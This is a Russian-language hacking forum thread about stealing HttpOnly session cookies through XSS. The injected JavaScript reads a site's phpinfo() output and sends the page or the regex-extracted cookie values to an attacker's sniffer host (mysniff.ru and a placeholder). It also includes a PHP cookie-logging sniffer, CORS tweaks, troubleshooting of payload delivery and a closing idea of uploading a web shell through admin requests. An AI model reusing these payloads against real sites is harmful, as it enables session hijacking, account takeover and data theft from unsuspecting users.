Появилась идея обойти httponly кукис через страничку phpinfo. Чтобы пользователь зайдя на страничку с xss в фоновом режиме открывал phpinfo() а html код странички отправлялся нам . Может уже кто то реализовал такое ?
Вот пример, с помощью ajax открывается нужная страница и ее содержимое отсылается на целевой сниферок. Только для снифера нужно разрешить принимать запросы с других доменов (CORS): Code: var xhttp = new XMLHttpRequest(); xhttp.onreadystatechange= function() { if (xhttp.readyState == 4 && xhttp.status == 200) { var body = encodeURIComponent(xhttp.responseText); xhttp.open("POST", 'http://mysniff.ru/t.php', true) xhttp.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded') xhttp.send(body) } }; xhttp.open("GET", "phpinfo.php", true); xhttp.withCredentials = true; xhttp.send(); Я не знаю как себя будет на практике вести - в боевых условиях не тестил. Но может пригодится.
надеюсь @psihoz26 меня не покорает за его скрипт) Code: var xhr = new XMLHttpRequest(); xhr.open('GET', '//site/phpinfo.php', true); xhr.send(null); xhr.onreadystatechange = function() { if (xhr.readyState == 4) { if(xhr.status == 200) { (new Image()).src="//%сниффер%/?"+xhr.responseText.match(/_COOKIE.*?<td class=\"v\">(.*?)<\/td><\/tr>/m)[1] } } }
Не могу разобратся со скриптом, он должен исполнятся прямо в XSS или можно подгружать с другого домена ? Пробовал подгружать, но на сниф ничего не приходит, Firebug показывает что скрипт подгружается, но следующего этапа - загрузки phpinfo() не показывает . Кроме того в сниф надо что то дописывать? он у меня простенький PHP: <?$snif[] = date("d.m.Y H:i"); // дата$snif[] = $_SERVER['REMOTE_ADDR']; // айпишник юзверя@$snif[] = $_SERVER['HTTP_REFERER']; // рефер@$snif[] = $_SERVER['QUERY_STRING']; // переданные параметру снифферу$snif[] = $_SERVER['HTTP_USER_AGENT']; // агент юзверя =)$file = "file.txt"; // файл в который будут записаны данные$s = fopen($file,"a+");@$sa = fread ($s,filesize($file));$fp = fopen($file,"w");foreach ($snif as $sniffed){fwrite($fp,"\n".$sniffed);}fwrite($fp,"\n");fwrite($s,$sa);fclose($s);fclose($fp);?>
Ошибки JS нет , он подгружается из другого домена ( ответ 200) , но в инструментах разработчика нигде не написано что браузер обращается к site.com/info.php
такое может происходить если куки не распарсились, посмотри вывод phpinfo, там точно есть массив HTTP_COOKIE ?
Поставь fiddler и посмотри что куда шлется (и шлется ли вообще?). И на своем принимаемом скрипте нужно еще указать: Code: <?php header("Access-Control-Allow-Origin: *"); ?>
Добавь в начале кода строку "window.onload = function() {", в конце "}". Также укажи протокол в ссылках "http://" или "https://" вместо "//", не все браузеры поддерживают. Кроссдоменные запросы отправляться будут, получить ответ нельзя, но это и не нужно в данном случае.
Есть массив Протоколы указывал по разному, не хочет работать. . Не понимаю в чем проблемма. В XSS вставляю скрипт в таком виде <script>img= new Image();img.src="http://bldfdfdd.125mb.com/22.js"</script> . Может проблемма в src ? В таком виде браузер подгружает скрипт с хостинга, но он не исполняется .
В вики по-другому написано: "Cross-domain" AJAX requests are forbidden by default because of their ability to perform advanced requests (POST, PUT, DELETE and other types of HTTP requests, along with specifying custom HTTP headers) that introduce many cross-site scripting security issues. CORS defines a way in which a browser and server can interact to determine safely whether or not to allow the cross-origin request." И в общем-то логично, иначе какая это защита от хсс. Вот в этой статье, например: http://hayageek.com/cross-domain-ajax-request-jquery/ в серверных заголовках конкретно указываются, как методы/заголовки разрешены. Протестируй у себя через хттп-прокси какой-нибудь и посмотрим, отправляются ли данные на самом деле через xmlhttprequest или нет.
Это шутка? Почему картинка должна исполняться как скрипт? Произвольные заголовки запрещены. Обычный POST/GET с дефолтными заголовками отправляется. Code: var x = new XMLHttpRequest(); x.open('POST', 'http://anysite/', true); x.send('param=value');
Я по разному пробовал , <script> src="http://bdkldjf.125mb.com/22.js"</script> так тоже. Но в ответах фаербага и фидлера нету записей что бы передавались данные через xmlhttprequest.
Пояснения по этому коду $PARAM1 - локальная урла сайта, на котором xss и на котором ты можешь читать phpInfo: http://xss.com/some_path/php_info.php $PARAM2 - сайт с твоим снифером, на который ты "как бы" обращаешься за картинкой и в параметрах запроса указываешь выдранные куки из ответа: xhr.responseText - ответ с данными от phpInfo, /_COOKIE.*?<td class=\"v\">(.*?)<\/td><\/tr>/m - регулярка, которая выдёргивает куки из ответа. В итоге именно этот скрипт с изменёнными под тебя $PARAM12 должен выполняться на стороне браузера.
Мужики подскажите, застопорился с этим скриптом . Он изымает куки с phphinfo , но только одну строчку . Гдето в регулярке проблема . Code: new Image()).src="//%сниффер%/?"+xhr.responseText.match(/_COOKIE.*?<td class=\"v\">(.*?)<\/td><\/tr>/m)[1] } Но не пойму где , пробовал без нее, чисто текст , так вобще не передается на снифер .
Из вышесказанного, получается даже можно шелл залить?(опред. cms), зная какой post запрос слать(загрузка файла в админке в дефолт директорию)